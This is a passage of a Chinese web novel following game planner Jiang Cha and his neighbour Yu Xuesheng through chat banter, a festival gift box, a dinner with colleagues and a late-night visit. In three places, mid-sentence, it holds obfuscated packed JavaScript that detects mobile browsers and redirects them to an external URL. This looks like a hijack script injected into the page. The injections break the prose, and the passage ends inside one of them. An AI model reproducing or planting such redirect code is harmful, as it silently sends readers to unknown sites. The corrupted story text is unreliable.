过了几秒,姜察才回过味儿来,喻雪生说的是群里的草稿。 ……绕了好几个圈就为了损他一句? 姜察有点无语地回复道,你怎么不自己反馈?但消息发出去,对面半天都没再吭声。 又过了快五分钟,对方弹了个窗口抖动——一张图传了过来。 是一张改过的图,看着像在群里的草稿上涂了几笔……但这几笔涂得很妙,时装的外套和裤子换了配色,服装上还去掉了几处装饰的花纹。 改动不多,看着倒是舒服多了。 【小雪花:看看这版】 【小雪花:草稿正面太花哨了,没有视觉重心,传统漆器的装饰方法不适用于服装,游戏时装需要视觉中心点。】 【小雪花:背面也是,玩家跑动时的视线没地方落……你以前没做过时装?】 姜察皱了皱眉。 【养生小饮料:做得不多,我之前在写剧情。】 【小雪花:哦~】 【小雪花:审美有欠缺啊,难怪你只穿黑白灰的衣服。】 【养生小饮料:……】 【小雪花:对了,自己把图发给美术看吧,不用谢我。微笑/】 …… “你真是闲得慌。” 该隐看喻雪生聊了半天,作此评价。 “你惹他干嘛啊,人家好好上班呢。” “倒戈够快啊,”喻雪生转着手里的数位笔,“才几句话就‘人家’上了……” “难友间的惺惺相惜。”该隐叹了口气。 房间里,雪球趴在落地窗边呼呼大睡,喻雪生坐在工作台前,百无聊赖地转着笔。 他今天没什么工作,所以闲得格外难受,甚至有空给姜察改改草稿,再逗他几句。 而该隐不一样,该隐是刚刚给他干完活儿、跑过来汇报的苦力…… “货都寄走了?”喻雪生把笔搁下,伸了个懒腰。 “寄走了,”该隐说,“填的你师兄工作室的地址。” “行,靠谱。”喻雪生点点头。 “三个葫芦也没多少钱,但翻来覆去得做好几个月,”该隐皱着眉,“要我说你练练手得了,其他时间还不如去接稿画点东西。” “是么?”喻雪生笑了笑,拿起旁边的水壶,给自己倒了杯水。 “嗯,做视频也行啊……”该隐想了想,“对了,你什么时候复更?” “就这两天吧。”喻雪生喝了口水,有点酸,早上切的柠檬片泡多了。 喝了两口他把水杯放下,茶几边,姜察借给他的游戏卡带静静躺着。 他看着那盘卡带,忍不住啧了一声。 这礼拜他熬了几个大夜,总算是把这盘游戏打完,过几天得写写稿子——复更视频也许可以从这盘游戏开始。 但是快一年没做这些,也不知道粉丝还有多少,完播率还能有几成。之前也没在意过,毕竟那时候做视频是为了解闷儿找点事干。 而现在…… 现在可能也是因为该隐催得太勤。 喻雪生按了按额角,有点头痛。 “你去医院了?” 不知什么时候,该隐转来转去转到了书架旁边,正好看见放在书架边上的几个药盒。 “不是您说要我去开药的吗。”喻雪生看着他,“谨遵叮咛。” “怎么听话得有点不正常,”该隐皱了皱眉,又低头看药盒,“孙医生怎么说?我看还是之前那几样,说明控制得还不错……” “有没有可能我本来就没什么问题啊?”喻雪生啧了一声。 “别装,我又没瞎,”该隐转过头指了指房间的角落,“我看得出你屋里的轮椅动过。” 喻雪生无奈地闭了嘴。 该隐交代完事情就走了,房间里少了个老妈子,又静了下来。 喻雪生打了个哈欠,慢吞吞地翻了张稿子出来,一笔一笔地勾着线。 勾着勾着就趴在了桌子上。 聊天软件上,姜察没再在小窗说话,估计是等了半天没等到他去反馈,只好去大群里又补了几条。 对接的原画很冷淡地回了句“11”。 姜组长工作很认真啊。 但可惜不是所有人都这么领情。 第二天中午,师兄的电话打了过来。喻雪生从床上爬起来,一边摸过衣服,一边打着哈欠接起电话。 “小喻,作品收到了,质量很不错啊。”对面毫不掩饰地赞许。 “你们觉得合格就行……”喻雪生的声音还带着点儿刚睡醒的鼻音。 “当然合格了,学生作品完成度就这么高了,你要是愿意的话可以挂在我们这里,再接点贵的活……” “我不急,师兄,”喻雪生笑笑,“我先做点简单的练练吧。” “是吗?”对面似乎愣了愣,“那行,我优先给你留赚钱的活儿。” “哎,也不是……”喻雪生抓了抓头发,“我真不急,就是想练练……” “哟,纯学习吗?”对面听着很高兴。 “啊。”喻雪生应了一声。 “不简单不简单,有点自己想做的事真好,我还以为你缺钱……” 喻雪生笑了笑。 “那你从我上次发你的样品图里挑吧,自己做做试试,也能练习……有什么不会的,打电话问我就行。” 师兄又说了些什么,喻雪生没再注意,他走着神儿聊了半天,对方总算挂了电话。 这个师兄是之前在学校活动上认识的,跟他并不算熟。但人人知道这家伙是个大漆疯子,也因此,格外喜欢结交喻雪生这种有点天赋的学妹学弟。 也许是知道他休学的事了……这半年来,他对喻雪生颇有点出于惜才爱才的照顾。 挂完电话后,喻雪生刚要去洗漱,手机突然震了一声。 打开一看,对面给他转了尾款。 还额外加了点钱,凑了个吉利的数字。 他无奈地笑了笑,打字回了句谢谢。 走到洗手间洗脸时,不知怎的,他又想起来刚刚电话里的话。 ——不简单,有点自己想做的事真好。 想做的事吗? 喻雪生的表情突然平静下来。 真的是他想做的吗。 ……就算是现在,他偶尔也会想起那个评价。 ——喻雪生,你在讨好谁? ——你总是这样,为获得肯定,做无用的努力。 …… 从各个方面上讲,姜察最近的工作都还算是顺利。 没有抬杠的美术,没有手伸得太长的上司,也没有难伺候的玩…… 有的有的,难伺候的玩家还是有的。 “小姜哥,去拿礼盒啊!” 快下班的时候、战斗组的同事提着个箱子走过去,跟他打着招呼。 “啊,有点忙,马上去。”姜察点点头。 他又看向屏幕,划了两下鼠标,上面是秋总的聊天框。 【秋秋秋:端午礼盒到了,今年里面还有限定周边】 【秋秋秋:哦,你可以给喻雪生拿一份,本来是打算邮寄给KOL的……但我想了一下,亲手带给他比较有诚意】 【养生小饮料:这诚意为什么是我来表现啊】 【秋秋秋:你说呢?微笑/】 作为大厂项目,《恐惧追踪》组内的福利一直不错,逢年过节都发些节日礼品,有时还会给有合作关系的KOL、高氪玩家们寄一份。 但姜察去拿的时候,发现带周边的礼盒居然是按人头来的。 “项目编制内的人才有,”HRBP用笔戳了戳名单,“KOL只有普通的,营销那边需要的话,应该跟我们提前报备。” “我也不太清楚。”姜察皱皱眉。 “先给你拿套普通的吧,今年KOL的都是这样,粽子和腊味套装……哦,记得登记。”HRBP指了指身后的礼盒小山。 姜察提了一大一小两个箱子回来,跟秋总一说,秋总也听得直皱眉。 “今年怎么这么小气……没听说过礼盒还分等级的。”她啧了一声。 “牛马还分三六九等呢。”姜察有气无力道。 “什么?”秋总转头看着他。 “没什么,”姜察叹口气,“我骑自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189148|181046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行车来的,还得想办法把这俩盒子弄回去……” “早知道我就邮寄了,这不是想让你们打好关系嘛。”秋总拍了拍他。 “他想不想见我都不一定。”姜察无奈地笑了一下。 想起从医院回来时喻雪生的态度,他就觉得一阵一阵的心累。 “我的锅,实在不行的话就算了,你把那个普通礼盒给我,我单独给他寄……” 秋总有些抱歉地在旁边说着,姜察顿了顿,摆摆手示意不用。 然后重重地叹息了一声。 …… 房间门被敲响的时候,喻雪生还以为是该隐杀了个回马枪,结果打开一看,竟然是姜察。 今日的社畜依然一脸疲惫,但看得出,此时正相当努力地挤出了一个礼貌的笑容。 喻雪生有点惊讶,他本以为这人起码得半个月不会过来,结果没两天就主动上门了。 ……真能忍。 也不知道姜组长是在公司犯了什么天条,这段时间接触下来,连喻雪生都能看出他职场不顺。 一会儿美术组画个抽象派,一会儿周五晚上加个班……他强烈怀疑姜察情绪如此稳定,是因为上班的时候练出来了。 简直是忍者。 忍者此时正一脸平静地站在门口看着他。 “姜组长有事?”喻雪生往门口一靠,“怎么有空来找我了?” “……端午节快乐。”姜察说。 喻雪生怔了一下,微微站直,要不是姜察,他确实没想起来快到端午节了。 “我带了公司礼盒给你,”姜察犹豫了一下,“你可以挑一个……” “还能挑?”喻雪生挑了下眉,“有什么区别?” “粽子馅不一样,一个甜的多咸的少,一个甜的少咸的多……” “你们公司是挺闲的。”喻雪生有点无语,这是为了照顾来自四面八方全国各地的员工吗。 “……一个有周边,一个没有。”姜察顿了顿,继续说。 哦。 喻雪生没说话,过了会儿,眯了眯眼睛。 “姜组长,”他抱着手臂看着姜察,“你该不会把自己那份给我了吧?” 姜察皱了皱眉:“你就说你要哪个。” “你果然是为工作牺牲自我的人。”喻雪生没回答,感叹了一句,“天选社畜……” 说着话的工夫,身后的雪球又欠兮兮地溜达过来,来回蹭着门口两个人的裤腿。 喻雪生蹲下,把猫抱了起来。 “哎,真沉。”他皱了皱眉。 姜察没说话,看着被他抱起来的猫。 “我之前觉得,雪球长得特别像你们游戏里那个跟宠,”喻雪生说,“都是很胖很圆的布偶。” “是有点。”姜察闷着声音。 “不过游戏里的跟宠不一样,起码不像蒲公英似的掉毛……”喻雪生一下一下地摸着怀里的猫,说。 姜察沉默着,看着喻雪生的眼睛,和他摸着雪球的手。 雪球的毛发很松软,是布偶那种棉花一样的、柔软轻盈的长毛。但确实是掉毛,摸着摸着就会飞起一团。 喻雪生的手也是,手指很细,骨节清晰。明明也是看着舒服的手……但指尖却有几处坑坑洼洼泛红的痕迹,像是受过什么伤。 也许是大漆过敏时留下来的疤痕。 “我要带周边的。”喻雪生突然开口,说。 “……行。”姜察收回目光。 “你不会生气吧?待会儿再蹬蹬蹬跑过来,把礼盒扔我怀里,”喻雪生笑着捏了捏雪球的后颈,又拿食指缠着它的毛玩,“这回可不是扔伞了……你得轻点。” 姜察又一次感觉到无言以对。 他别开目光,被摸着的雪球也许是被揪到了毛发,挺不满地喵了一声。 “看什么呢?”喻雪生往前凑了凑。 还没等姜察回话,喻雪生突然抓住了他的手。 然后放在了怀里抱着的雪球身上。 “想摸就摸,”喻雪生笑着,“它最近掉毛掉得跟蒲公英似的,真这么喜欢,放你那儿养几天都行……” “一天两百,提供宠物租借服务。”喻雪生煞有其事地点了点头。 …… 从喻雪生的房间里出来,姜察把那个带周边的礼盒送到了楼上。 隔着门,屋里传来浴室洗澡的水声,他犹豫了一下,轻轻敲了两下门就下了楼。 窗外的天已经黑透了。 姜察皱着眉,看着那个剩下的礼盒发呆。 刚刚那一通天聊的,尽管他几乎没逮着机会说话,但还是消耗了不少精神。他疲惫地站起来,给自己泡了杯茶,过了会儿,水面上浮起一根白色的细绒。 这才发现上衣粘了一身的猫毛。 夏天衣服洗得勤,姜察在屋里转了两圈儿,总算凑够了半桶衣服。 再加上身上脱下来的这件,拿胶带粘完毛后,一起扔进洗衣机里转着。 一圈儿,两圈儿。 天越来越热了。 姜察没穿上衣,他撑着洗衣机,隔着半透明的盖子,看着里面的漩涡发愣。 但不知为什么,他突然有点没来由的冷。 又想起雪球,还有…… 喻雪生的手。 那只手抓起他的手的时候……很冰。 冰得他有点发晕。 是晕了。 姜察闭了闭眼,走向衣柜。 ……再这样下去,在洗衣机里开个大脑寄存处吧。 19. 第 19 章 不知算悲哀还是庆幸,自从和喻雪生“闹翻”后,姜察已经越来越熟悉他的持续发疯状态。 平日里喻雪生最多是嘴欠几句,遛他两圈儿,毕竟是氪佬嘛,倒也不算太过分。 偶尔实在被他折磨得不行了,就在心底默念: 别跟有病的人一般见识别跟有病的人一般见识…… 但每次默念完,姜察还有点愧疚和罪恶感。 毕竟喻雪生大概是真的有什么病。 “你有没有想过他只是去看失眠?”寸头问。 “失眠?”正片着鱼的姜察愣了愣。 “是啊,去精神科开点治疗失眠的药,其实也挺正常吧?”寸头指向旁边的秋总,“秋总不是还背过一个‘省精神卫生中心出院纪念’的包?” “你现在最大的任务是治治脑子。”秋总微笑道。 姜察把切好的刺身摆在碎冰上,放弃了聊天。 问他们应该也是白问。 “我倒觉得你不用管这些,”秋总拿着酱油碟和筷子,“他不做什么过分的事,你就按正常玩家对待……” “嗯。”姜察应了声。 “……反正关系已经被你搞砸了。”秋总把餐具放在桌上,又补充了一句。 “行吧,”姜察有点郁闷,“我是真的不会跟人交朋友。” 三个人围在岛台旁边,今天的据点是秋总家,鱼是姜察先切成大块后带过来的。 秋总坐在岛台一侧,慢悠悠地晃着酒杯,此人向来情趣高雅,今天配的竟然是红酒。 “好喝吗?”姜察看着她杯子里的酒。 “你试试。”秋总边说边给姜察倒了点。 姜察一口下去,忍不住皱了皱眉。 秋总看着他的表情,笑了:“你别是连红酒都喝不了吧?” “……酸。”姜察缓了半天,开口。 “小姜哥不抽烟不喝酒,真是新时代好男人。”秋总啧了一声。 “那跟你也没什么关系。”寸头幽幽接道。 “什么意思?”秋总瞥了他一眼,“你对我有意见?上次的公告bug是谁给你摆平的?” “你不是不婚主义吗!”寸头喊了句。 “那也得分谁,如果是小姜哥……” “求求了,”姜察在一边听得头疼,把筷子搁下,“换个人整吧,你们别安排我了……” 俩人各吃了一口鱼,乖乖闭嘴。 虽然是租的房子,但秋总家的装修很不错。超大超软的沙发、超级加厚遮光的窗帘、高配的家庭影院…… 又得益于她对生活质量的极高要求,客厅里还配了超大号幕布和投影仪。 吃完饭,仨人挑了半天也没在看电影上统一意见,最终竟然投了个《恐惧追踪》的职业竞赛。 “哎,这选手穿的是不是上个月外放的时装?版本够新的啊。”寸头盯着屏幕上的游戏角色说。 “嗯,还是小姜哥做的呢。”秋总点头。 说起时装,姜察又想起喻雪生的“指导”,而自己连做个时装都不如玩家明白,属实是名不配位技艺不精道阻且长…… “想什么呢?”秋总伸手,在姜察眼前打了个响指。 姜察回过神来:“没什么。” “想工作吧,”寸头幽幽道,“你看他那个快出家了的眼神。” “你今天的嘴真够欠的。”姜察无奈地叹了口气,往沙发上靠了靠。 “人家失恋受刺激了呗,”秋总斜了寸头一眼,“小姜哥估计都不知道这事,他前段时间追一个学生乐队的鼓手,然后……” “姜察职场失意我情场失意,就差你了。”寸头指了指她,开口打断。 姜察有点哭笑不得,投影上,这场比赛的胜负基本已经落定,而客厅里的两个人才刚要打起来。 两人在旁边你一言我一语地锻炼嘴皮子,姜察端起刚刚剩的半杯酒,一口喝干。 ……是真的很涩很酸。 “其实也很难说姜察算不算一种情场失意。” 那边的两人终于闹完,各自坐回了沙发上,寸头一边撇撇嘴,一边从怀里摸出烟盒。 “别在我家抽烟。”秋总啧了一声。 “靠,”寸头拿了一根出来,“我就闻闻!” 情场失意。 如果玩家情也算情的话,那确实是。 如果友情的话……不,他跟喻雪生还远算不上朋友。尽管在生人面前,偶尔也会用“朋友”相互介绍。 场上的比赛结束,秋总终于掏出手机,投了个电影上去。 寸头低头嗅着手里的烟,似乎打算靠闻闻味儿来过过烟瘾。 姜察看着他,记得他刚入职的时候抽得还没这么凶,这几年又加班又熬夜,估计也是愁出来的。 屏幕上渐渐出现片名——《触不可及》。 三个人窝在沙发里,安静地看着荧幕。 电影讲的是一个高位截瘫的富翁和他的护工的故事。起初护工应聘只是为了申领救济金,但在和富翁的相处中,两人渐渐成为了朋友…… 姜察越看这个片子越想皱眉。 不知道为什么,有种莫名被影射了的感觉。 “姜察,你说……”过了半天,秋总突然开口。 “嗯?”姜察转过头。 “你说喻雪生是不是不只是腿有问题?”秋总说。 “什么意思?”姜察皱了皱眉。 “他跳过楼,应该是受过伤,”秋总想了想,“但你说他是间歇性的,偶尔才会腿疼坐轮椅……” 姜察看着她。 “所以可能是心理问题?”秋总犹豫了一下,“抑郁导致的躯体化?因为心理原因,偶尔会幻痛,无法移动,也因为这个去看精神科。” “……我就说她的包没白背。”寸头插话。 “滚蛋。”秋总回手拍了他一巴掌。 “这样吗?”姜察沉默了一会儿,“也有可能。” 秋总和寸头没什么研究喻雪生的兴趣,只是看到电影里坐轮椅的主角,才突发奇想地来了这么一句。 姜察也没再说话,静静地看着接下来的剧情。 但秋总说的如醍醐灌顶,仿佛已经很接近事实了。 如果喻雪生有抑郁症状的话,那跳楼的事也很好解释。 只是…… 就算抑郁,那也不是他、一个作为策划、作为邻居的人能解决的问题。 电影放完,几人又聊了一会儿天,今天的活动算是结束。 寸头是三个人里唯一有车的,因为顺路,他也正好开车把姜察送回家。 坐上副驾驶的时候,外面的天已经黑了。姜察看着窗外,感觉似乎从上班以来,自己都很少看到白天亮着的天空…… “走了。” 寸头向秋总挥了挥手。 秋总丝毫没有留恋地点点头,迅速转身钻进了楼里。 晚上,姜察把剩下的鱼肉切好,分类包装。 这条鱼是昨天到货的,为了今天的聚会,他昨晚才匆忙切出来一部分。直到这会儿,他才有时间细细分割。 ……突然觉得其实切鱼也没那么解压。 姜察偶尔才会买鱼,一来鱼太大吃不完,二来这爱好确实有点奇怪。 这种事情和整理房间、收纳差不多,本质上是把物品归类。 鱼腩和鱼腩放在一起,鱼背和鱼背放在一起,冬装和冬装放在一起,夏装和夏装放在一起,不要的旧衣服也单独放在一起…… 分类和规划,总会带给他安全感。 把分好的鱼肉往冰箱里放时,姜察突然瞥到了搁在桌边的钥匙扣。 还是那只布偶猫造型的公仔,上面拴着自行车的钥匙,还有很久没回去的、老家的家门钥匙。 “幸福一家”的群里,已经很久没人发言。 说的是真人的发言,但要论起说教小短文和养生小科普的话,那今天早上老妈还往群里转发了两条。 姜察总是不知道该怎么回复那些文章。 正如他不知道怎么回复老爸老妈的话。 也许正是因为这样,他们也不愿在群里多说什么吧。 他不知道该怎么聊起自己。 没错,也许不聊才是最好,这样他就会在老爸老妈的心里,过着永远普通且平常的生活。 按照应有的轨迹和规划,有条不紊地走下去。 …… 深夜。 也许是因为白天喝了点酒,姜察今天睡得很早,也睡得很沉。 所以当手机又震又响地叫起来时,他吓得差点翻下床。 ……抓过手机的时候,心脏都还突突地跳着。 “我靠……”姜察拧着眉看手机,也不知道大半夜的谁给他打电话。 然而看到屏幕上的三个字,他一下子清醒了。 喻雪生。 说不上是恼怒还是害怕还是尴尬,他看着来电显示,一时半会儿都没能把电话接起来。 过了好半天,才抓抓头发,卡着挂电话的时间按了接通。 对面很安静。 “……喻雪生?”姜察问了句。 “嗯。”电话里的人应了一声。 “你怎么还不睡?”姜察按亮床头灯,看着墙上的表,“这都一点了。” 一点,其实放在平时他也刚挨着枕头,也不算太晚。 喻雪生没说话,过了好半天,才叹了口气。 “睡不着啊……”他说。 “你睡不着给我打什么……”姜察说了一半就停下了,按照他对喻雪生的了解,这句话肯定会被对面顶回来。 “我哪知道你睡得这么早?”电话里的声音懒洋洋的,“我深夜灵感迸发,想跟姜组长聊聊工作。” 姜察咬了咬牙,要不是因为明天周末,他真想上去给喻雪生两闷棍。 “上来聊聊?”喻雪生说,“我看天气挺好的,今晚还有星星。” “你……” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189149|181046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快点吧,趁我还对工作有点想法,”喻雪生的声音带着点笑,“说不准一会儿我就忘干净睡了。” 姜察只好答了句“这就来”,然后无奈地挂了电话。 他起床洗了把脸,上楼前想了想,又从冰柜里拿了盒切好的鱼。 喻雪生果然没睡,坐在床上看着窗外。 楼上的门没锁,姜察推开门,一进屋就被冻得打了个激灵。 屋里冷得跟冰窖一样,抬眼一看,空调开到了十六度。 “你不冷吗?”他皱皱眉,走过去。 “来了?”喻雪生回过头看见姜察,从床上跳下来,“曹操啊。” “什么?”姜察没反应过来。 “夸你呢,一叫就到。”喻雪生笑了笑。 姜察懒得理他的冷笑话,把鱼往他面前一递。 喻雪生低头看了看:“来就来,还带什么……” “你不吃我现在送下去。”姜察说。 “没说不吃,”喻雪生笑着接过鱼,转身塞进冰箱冷冻室,“又去买‘尸体’,真庆幸你没什么暴力倾向……” “你是该庆幸。”姜察没好气地接了一句。 可能是因为还带着起床气,姜察今晚的态度和平常不太一样,喻雪生挑了挑眉,有点吃惊。 “好吧,”喻雪生装模作样地叹了口气,“其实也没别的事,就带你看看我的新作品。” “什么?”姜察问。 “过来。”喻雪生又坐上床,在身边拍了拍。 姜察本以为要来看什么漆器,这会儿才注意到,喻雪生的床头加了张可移动的短桌,他的笔记本电脑正放在桌上,看起来刚刚像是在这里工作。 姜察犹豫了一下,只好跟着坐上床。 “你穿的是睡衣吧?”喻雪生看了看他,“别穿外面衣服坐我的床……” “是!”姜察转头瞪他,“你讲不讲了!” 喻雪生笑着按开了屏幕。 电脑上播的是个视频,姜察看了会儿,竟然是喻雪生做的,是那天借给他的游戏的测评。 现在发测评倒也不算晚,还赶得上新游发售的热度。 而且喻雪生……讲得依然很好,其中还带了些游戏里的彩蛋、该系列发展的历史、设计背后的故事背景…… 视频质量很高。 偶尔几个画面给到正讲述的喻雪生,他就坐在这间屋子里,背后是床头的软墙。 视频里,他穿着件很酷的斗篷外套,还带了个小小的石头耳环,装扮帅气又不夸张,还应了游戏里勇者题材的景。 这种感觉很奇妙。 屏幕上的人就坐在身边,视频里精致又一丝不苟,视频外却…… 姜察忍不住悄悄看了喻雪生一眼。 他也正盯着屏幕,眉目很平静。 “怎么样?”视频播完,喻雪生说。 “挺好的。”姜察点点头。 确实很好,时隔快一年,喻雪生的视频拿出来竟然还有这种质量。 “你可是游戏策划,”喻雪生笑着,“没什么要补充的专业意见?” 姜察沉默了一会儿,摇摇头:“……没有,想到再跟你说。” 喻雪生啧了一声,没说什么。 他往后倒了倒,干脆躺在床上。 “……然后呢?”过了会儿,姜察转头看向他。 “什么然后?”喻雪生怔了怔。 “不是说要讨论工作?”姜察问。 “……讨论我的工作啊!”喻雪生说。 姜察一脸震撼的表情,就差把“上当受骗”四个大字写在了脸上。 喻雪生没说话,饶有兴趣地看着姜察拧着眉纠结。 面前这人的起床气估计还没消,又被他骗上来聊天,此时此刻,看得出在强忍着恼火。 喻雪生有点想笑。 他偏过头,看向窗外。他们的楼层很高,此时此刻,能看见窗外一大片的夜空。 电话里倒没完全骗姜察,至少今天真的有很多星星。 雪球昼伏夜出,现在正窝在窗边,一下一下地舔着毛。舔完爪子再舔背,然后抬起腿舔尾巴根…… 什么都不懂的小猫,对浪漫的星空没有丝毫兴趣。 不知过了多久,喻雪生突然感觉床垫动了动,向下一沉,姜察也躺了下来。 他翻过身,有些错愕地看见姜察躺在他身边,似乎也在看向窗外。 眼神很平静。 “真的有星星。”喻雪生笑了笑,“我没骗你。” “嗯。”旁边的人应了声。 床头的灯亮着,房间里的光线很温和,还带着点暖意。 但光线的温度和十六度的空调完全不成正比。 空调扫风转过来,喻雪生打了个喷嚏,裹紧了身上的被子。 “关会儿空调吧,”他皱了皱眉,“确实有点……” 一只手伸过来,碰了碰他的鼻尖。 “冷吗?”姜察看着他,问。 20. 第 20 章 冷吗? 姜察的指尖有点凉。 这是喻雪生第一反应。 然而还没等他回过神来,那一丝冰凉的触感消失了,只听到“滴滴”几声,姜察坐了起来。 从他的角度,看不见姜察的正脸,但姜察应该是在拿着空调遥控器按着。 “房间里这么冷,”姜察说,“你怎么受得了的?” “是么?”喻雪生怔了怔,“我习惯了。” “这什么浪费电费的习惯……”姜察叹了口气。 喻雪生没说话,看着他的轮廓。 空调被调到25度,姜察放下遥控器后没再躺下,靠着床头坐着。 床头灯照不到他的脸,从喻雪生的角度,更看不清他的表情。 过了会儿,喻雪生也坐起身来,和姜察并排靠在床头上。 屋里的温度还没升上来,他伸手从沙发上拽了张毯子。 “你盖这个吧。”喻雪生把毯子往姜察腿上一扔。 姜察低头看了看。 “这么少女?”他声音带着点笑,“还是小碎花。” “小碎花怎么了?”喻雪生啧了一声,“我画画的时候盖腿用的,不过挺新,缝完就盖了几次……” “你缝的?”姜察的声音挺惊讶。 “嗯,”喻雪生说,“养病的时候没事干,就弄了几块布缝着玩儿。” 毯子被姜察抖开,他低下头,又抻平摸了摸。 确实很新,一些碎花毛毡布拼在一起,还能摸到手工打结的线头。图案不算精致,但拼得很有感觉,有点像什么工艺品。 “你手挺巧的。”姜察说。 喻雪生勾了勾嘴角:“我时间多,就什么都研究一下。” “挺好,”姜察又叹了口气,“我要是也能这样就好了……” 喻雪生转头看了看他,没说什么。 过了会儿,喻雪生挑了个歌单,放在枕边播着。二人都没再说话,静静并排靠着。 音乐很舒缓,房间里空调的声音停了下来,温度逐渐回升,雪球不知道什么时候跳上了床,专心致志地舔着毛。 姜察盯着床尾的猫,有点出神。 跟喻雪生聊天挺累的,不过今晚还行。 除了开头那一段以工作为借口的骗局,后面没再有莫名其妙的“姜组长”、没有冷嘲热讽,也没有什么奇怪的要求…… 也不知道是因为喻雪生没抽风还是因为自己太困,今天似乎也没怎么考虑“怎么跟他说话才合适”之类的问题。 气氛格外轻松。 不知道过了多久,歌单停了,只剩了雪球舔毛时的细微响声。 屋里安静下来,迷迷糊糊间,姜察听到了“咔”的一声响。 然后身边晃了晃,床垫也跟着轻了一下。 远处好像飘来很淡很淡的、蓝莓的香气。 …… ——自己吃早餐吧,我有事先出门了。 姜察看着床头的纸条,有点发愣。 早上睁眼的时候,他看着房间里跟自己家一模一样的格局,还迷迷糊糊地想着屋里怎么变乱了。 等再想起来自己是在喻雪生家时……浑身炸起了一层汗毛。 ——他竟然在喻雪生家睡着了! 昨天晚上,他睡觉睡到一半被喻雪生call上楼,有话没话地聊了一会儿,竟然就昏昏沉沉地睡了过去! 起床的时候,身上甚至还搭着那条小花毯子。 好在喻雪生已经不在家了。 只有雪球蹲在床边,像只狗一样歪头看着他。 “……你哥去哪儿了?”姜察看着雪球。 雪球迷茫地跟他对视着。 过了一会儿,无聊地迈着猫步走开,自顾自地走到阳光下一躺。 喻雪生走之前留的纸条就摆在他枕边,放在一睁眼就能看到的位置。姜察下床,餐桌上果然也留好了早餐。 一碗甜酒蛋花,一份小笼包。 一看就是外卖,但盒子挺高级,很符合他对喻雪生的刻板印象。 ——很难伺候的氪金大佬。 桌上的食物让姜察有种莫名其妙的别扭。 明明就是楼上楼下,不留这个纸条和早餐也没什么关系。 而且昨天明明可以把他叫醒…… ……一种头皮发麻的别扭感。 回楼下洗漱完,他又纠结了一下,准备去楼上把早餐拿下来,毕竟人家还写了纸条,不吃好像也不太好。 结果走到楼上的时候脚步顿了顿。 刚刚顺手把门带上了。 …… 【养生小饮料:你家门密码是多少?】 【小雪花:入室盗窃?】 【养生小饮料:……早餐忘拿了。】 喻雪生盯着手机笑了半天,打字回了串密码过去。 对面很快又发过来一条“谢谢”,他又盯着那句“谢谢”忍不住笑了笑。 “……你差不多得了。”该隐在旁边看着,皱了皱眉。 “我怎么了?”喻雪生抬头。 “你自己知道,”该隐敲了敲电脑屏幕,“我什么时候跟你说正事你能乐成这样?” 喻雪生把手机塞回兜里,身体坐直,屏幕上是该隐做的PPT,看着很正式,是一间DIY工作室的企划。 该隐惦记做这个DIY工作室半年了,一来他年龄比喻雪生大几岁,不愿天天在茶园待着,二来受喻雪生启发,也想找个“不浪费毕生所学”的事做。 “我是这么想的,”该隐翻了两页PPT,“做个附带茶室性质的工作室,可以做陶、做漆艺,还能画点简单的油画。” “这么高雅。”喻雪生撑着头看着他。 “嗯,主要是这方面人脉好找,”该隐翻了两页,“以后你来帮忙或者找找以前的同学兼职……” “那你呢?”喻雪生问,“打扫卫生?” “我也是美院毕业的好吗!”该隐瞪着他。 喻雪生的目光在他一身黑色带铆钉的打扮上扫了两遍,忍不住又有点想乐。 “回头这个PPT得给我爸妈讲讲,让他们掏点钱。”该隐讲完内容,补充了一句。 “我就知道今天是拿我练手。”喻雪生啧了一声。 “你比较好糊弄,”该隐说,“而且你还小屁孩没毕业呢,没有发言权……” “不急,反正等再过两个月,等你把手里的积蓄败完,肯定不用说就过来帮忙了。”该隐笑道。 喻雪生挑了挑眉,这话让他有点儿不爽,但说得倒也没错。 收到葫芦尾款的那天,他看了自己账上的余额,还剩不到五万。 这五万里的大部分都是他接稿接活做视频赚的,另外一小部分是和家里闹翻之前的零花钱。 以前手里不存钱,说花就花了,但现在……毕竟没法指望再家里爆金币了。 喻雪生拿起杯子喝了口茶,他们约的这家茶馆的茶一般,点心倒是不错。 尤其是米糕和酥饼,还有水果…… “你没吃早餐?”该隐把一盘芡实糕往前推了推,“今天胃口挺好啊。” “没来得及,”喻雪生从盘子里捡了一块,咬着,“我出门的时候外卖刚送到,你可通知得太及时了,盒我都没来得及打开。” 该隐看着他:“谁知道你这么爽快,按往常不还得拖会儿……” 喻雪生斜了他一眼。 “先垫一口吧……等回去再吃。”该隐说。 吃完点心,喻雪生拽了张纸擦着手:“算了,外卖都送邻居了。” 该隐沉默了一会儿,盯着他:“姜察啊?” “嗯。”喻雪生应了一声。 “当个策划业务面还挺广,”该隐拿起旁边的茶壶,给他添茶,“刚才消息也是发给他的吧?” “是,骚扰策划从我做起。 ”喻雪生笑了笑。 “我一开始以为是他的错,”该隐啧啧两声,“现在觉得真是可怜,怎么能招上你这么个东西……” 喻雪生乐得没说话,端起茶杯喝了一口。 在这家茶馆待到十一点,中间换了三次茶叶,又点了一堆溢价严重的茶点。结账 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 